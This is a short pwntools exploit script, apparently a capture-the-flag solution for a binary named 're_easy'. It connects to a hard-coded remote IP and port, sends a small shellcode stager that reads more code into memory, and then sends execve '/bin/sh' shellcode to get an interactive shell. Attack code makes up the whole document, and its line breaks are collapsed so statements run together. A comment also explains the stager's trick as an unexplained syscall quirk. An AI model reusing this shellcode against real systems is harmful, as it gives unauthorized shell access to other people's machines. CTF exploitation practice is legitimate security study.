~~~~from pwn import *
r = process('./re_easy')r = remote('13.112.180.65', 8361)#r = remote('127.0.0.1', 8333)context.arch = 'amd64'
####    The key point is that:#    syscall `read` will set rcx to be rip#    Reason is unknown...###
payload = asm("""l:  syscall    mov dl, 0x40    push rcx    pop rsi    jmp l""")
r.send(payload)
payload = asm("""    xor rax, rax    push rax    mov rdi, 0x68732f2f6e69622f    push rdi    mov rdi, rsp    xor rsi, rsi    xor rdx, rdx    mov rax, 0x3b    syscall""")
r.send(payload)
r.interactive()~~~~